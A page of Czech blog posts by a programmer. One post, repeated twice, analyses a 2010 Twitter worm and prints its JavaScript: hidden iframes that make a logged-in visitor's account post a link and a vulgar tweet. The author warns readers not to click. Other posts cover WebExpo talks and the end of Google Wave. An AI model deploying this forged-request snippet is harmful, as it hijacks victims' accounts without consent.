Marek Hrabě programátor, webdesignér a hudebník píše…

Není to tak dávno, co se twitterem šířil "začerňovací" virus a dnes tu máme další. Lépe řečeno exploit. Tentokráte už zasahuje i všechny klienty (nejen web), protože se šíří formou odkazu a vulgárního tweetu. A šíří se opět lavinově. Tady jsou oba dva tweety:

Zkoumal jsem zdroják exploitu a zjistil jsem, že jde o zranitelnost nedávno nasazeného TweetButtonu. Pro znalé přikládám zdroják javascriptu, který toto zapříčinil. Je opravdu jednoduchý a je až do nebevolající, že vůbec může fungovat. Je to bezpečnnostní trhlina jak prase!

var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);

Rozhodně na odkaz neklikejte. Ani ze zvědavosti, protože tím okamžitě odešlte tyto tweety i z vašeho účtu. A vy snad přece nemáte rádi to, co ten tweet tvrdí Doufám!

Letos poprvé vyrážím na WebExpo. Už se tam moc těším a doufám, že to bude legendární! Většinu času tam pravděpodobně budu s Patrikem a s lidmi z Flow Media.

Tady jsou přednášky, na které bych rád dorazil (kdoví ale, jak to nakonec bude). Pokud byste se chtěli někde potkat, třeba mi napište a můžeme se domluvit.

• Eva-Lotta Lamm – Visual Note Taking / Sketchnotes
• Peter-Paul Koch – Fronteers: the first three years
• Petr Dvořák – iPhone volá Internet
• Asi půjdu kouknout i do job-hall, protože sháním brigádu.
• Peter-Paul Koch – The Touch Events
• Jakub Krč – Typografie v elektronických médiích
• Radek Pavlíček – Přístupnost – návrat ke kořenům
• David Grudl – Nette Framework 1.0 (pokud konečně vyjde a není to jen Davidův žert, tak přísahám, že do měsíce do Nette předělám všechny své weby)
• Samozřejmě Digit 53.
• Richard Fridrich – Čo ma naučili epické zlyhania na Centrum.cz
• Jan Sládek, Ondřej Válka – Webdesignérův průvodce webem, který tu už máme. Více než méně.
• Startup Show 2010
• Ryan Singer – Designing from start to finish

Nejvíce věcí je o designu a použitelnosti, kterým se poslední dobou věnuji více, než samotnému programování, takže budu mít „základnu“ v Design Hall. Rád vás uvidím a už teď se moc těším!

Podle článku, který vyšel na oficiálním Google blogu končí Google Wave. Pokud si nevzpomínáte, co to je, ani se vám nedivím. Šlo o ambiciózní experimentální projekt Googlu pro real-time komunikaci. Každý (geek) se chtěl podívat na to, jak Google změní náš způsob komunikace a složitě scháněl pozvánky. Nakonec ale vlastně nikoho pořádně nenadchla a nikdo nebyl s to, najít kloudné využití.

Nemá smysl pokračovat v tomto projektu, ale myslím si, že by se z něj dalo vytěžit dost nápadů třeba pro další produkty Googlu (hlavně GMail a Dokumenty).

RIP.

A máme tu další twitter virus. Tentokráte už zasahuje i všechny klienty, protože se šíří formou odkazu a vulgárního tweetu. Šíří se opět lavinově. Tady jsou oba dva tweety:

Zkoumal jsem zdroják exploitu a zjistil jsem, že jde o zranitelnost nedávno nasazeného TweetButtonu. Pro znalé přikládám zdroják javascriptu, který toto zapříčinil. Je opravdu jednoduchý a je až do nebevolající, že vůbec může fungovat. Je to bezpečnnostní trhlina jak prase!

var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);

Rozhodně na odkaz neklikejte. Ani ze zvědavosti, protože okamžitě odešle tyto tweety i z vašeho účtu. A vy snad přece nemáte rádi to, co ten tweet tvrdí